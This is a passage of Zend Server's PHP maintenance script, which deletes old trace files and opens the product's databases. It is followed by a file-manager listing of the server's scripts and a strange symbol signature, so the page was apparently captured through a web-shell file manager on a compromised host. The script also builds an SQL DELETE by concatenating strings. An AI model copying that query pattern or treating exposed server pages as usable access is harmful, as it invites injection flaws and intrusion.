						$filesDeleted[] = $file;							
						$totalSize -= $filesize;
						$totalSizeMB = $totalSize / 1024;
						if ($totalSizeMB < $maxSpace) {
							break;
						}
							
					} else {
						$allOk = false;
					}
				}
				
				$traceIds = array();
				foreach ($filesDeleted as $fileToDelete) {
					$idStart = stripos($fileToDelete, "dump.");
					if ($idStart > 0) {
						$traceIds[] = substr($fileToDelete, $idStart + 5);
					}
				}
				
				$traceDb->beginTransaction();
				foreach ($traceIds as $traceId) {
					$traceDb->exec("DELETE FROM trace_files where trace_id = '" . $traceId . "'");
				}
				$traceDb->commit();
				
				if ($filesDeleted) {
                	if(zend_monitor_delete_tracing_data($filesDeleted)){
                    	notice(count($filesDeleted) . " files of traces were deleted");
                    }
				}
			}
		}
	
	}
	
	$tz = @date_default_timezone_get();
	ini_set("date.timezone", $tz); 
	
	notice("Started maintenance");
	
	$clusterMode = false;
	$zsdDb = NULL;	
	$zendDatabaseIni = parse_ini_file(zend_get_cfg_var("zend.conf_dir") . '/zend_database.ini');
	if ($zendDatabaseIni['zend.database.type'] == "SQLITE") {
		$zsdDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/zsd.db" );
		$monitorDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/monitor.db" );
		$codeTracingDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/codetracing.db" );
		$statisticsDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/statistics.db" );
		$jobqueueDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/jobqueue.db" );
		$devbarDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/devbar.db" );
		$apmDb = new PDO("sqlite:" . zend_get_cfg_var("zend.data_dir") . "/db/urlinsight.db" );
	} else {
		$clusterMode = true;
		$zsdDb = new PDO("mysql:host=" . $zendDatabaseIni['zend.database.host_name'] . ";port=" . $zendDatabaseIni['zend.database.port'] . ";dbname=" . $zendDatabaseIni['zend.database.name'], $zendDatabaseIni['zend.database.user'], $zendDatabaseIni['zend.database.password']);
		$monitorDb = $zsdDb;
		$codeTracingDb = $zsdDb;
		$statisticsDb = $zsdDb;
		$jobqueueDb = $zsdDb;
		$devbarDb = $zsdDb;
		$apmDb = $zsdDb;
	}
	
	$zsdDb->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$monitorDb->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$codeTracingDb->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$statisticsDb->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$jobqueueDb->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

	if ($clusterMode) {
		foreach ($zsdDb->query('SELECT GET_LOCK(\'ZS_MAINTENANCE\', 1)') as $row) {
			if ($row[0] === "0") {
				notice("ZS_MAINTENANCE already running on a different node. Exiting.");
				exit(1);
			}
		}
	}

	if (isset($_GET['component']) && $_GET['component'] == "devbar") {
		handleDevbar($devbarDb, $apmDb);
	} else {
		handleAudit($zsdDb);
		handleZSD($zsdDb);
		handleJobqueue($jobqueueDb);
		handleStatistics($statisticsDb);
		handleMonitor($monitorDb, $zsdDb);
		handleCodeTracing($codeTracingDb);
		handleApm($apmDb);
		handleDevbar($devbarDb, $apmDb);		
	}
?>

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1